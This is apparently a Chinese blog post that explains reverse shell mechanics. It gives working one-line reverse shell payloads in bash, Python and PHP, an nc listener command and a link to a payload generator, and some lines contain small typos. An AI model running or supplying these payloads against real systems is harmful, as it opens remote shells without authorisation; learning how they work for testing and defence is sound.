反弹 Shell 原理

发布于:2025-06-28 ⋅ 阅读:(19) ⋅ 点赞:(0)

之前经常用到反弹shell,但是从来没有仔细思考过这些反弹shell的语句是怎么组成的,只是一味复制payload,导致但凡有点小过滤就炸缸,所以来系统学习一下反弹shell的语句是怎么构成的

反弹 Shell 原理

基本思想:

反弹 Shell 是指目标主机主动连接攻击者主机的某个端口,把自己的 Shell 输出输入重定向过去,从而攻击者可以远程控制目标主机的终端。

使用场景:

  • 目标主机 无法被动连接(如被防火墙限制端口)
  • 攻击者可以监听端口,等待目标发起连接
  • 一般用在 Webshell、代码执行点、文件上传等场景中

流程如下:

  1. 攻击者在本地监听某个端口(如 nc -lvnp 4444
  2. 目标机器执行 payload,把 /bin/bash 的输入输出通过 TCP 连接重定向到攻击者监听的 IP:PORT
  3. 攻击者获得 shell 控制权

这是之前找到的奇奇妙妙小工具,可以生成各种反弹shell的payload,还有很多方便的功能

https://github.com/ffffffff0x/BerylEnigma/releases

bash

bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

在解释这条反弹shell的命令原理之前,首先我们要知道几个点

linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:

0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>

还有就是>&这个符号的含义,最好理解的解释是这样的:

当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

接下来我们来解释这条反弹shell命令的构成

首先,bash -i代表在本地打开一个bash,然后是/dev/tcp/ip/port,其中/dev/tcp是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,这时候如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出。然后在该命令后面加上0>&1,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,这样的话就可以直接在远程输入了,当然0>&2也是可以的,代表将标准输入重定向到标准错误输出,而标准错误输出重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程

Python

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.4',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);

python反弹shell就很好理解了,首先用socket建立远程连接,然后用os.dup2方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符,经过测试可以看到值为3,这样就相当于将标准输入(0)、标准输出(1)、标准错误输出(2)重定向到远程(3),接下来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样就可以在远程执行输入命令了

nc

这个原理没什么好说的,使用nc反弹shell,需要的条件是被反弹shell的机器安装了nc,但是问题是有的机器也用不了wget或者yum去下载nc,这时候假如服务器中有python环境,就可以通过python实现nc的功能,具体可以看我这篇文章netcat · 语雀

php

首先最简单的一个办法,就是使用php的exec函数执行方法1反弹shell的命令:

php- 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'

还可以使用php的fsockopen去连接远程:

php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'

还有很多,在我上面说的那个工具里都有payload,这里不再列举


网站公告

今日签到

点亮在社区的每一天
去签到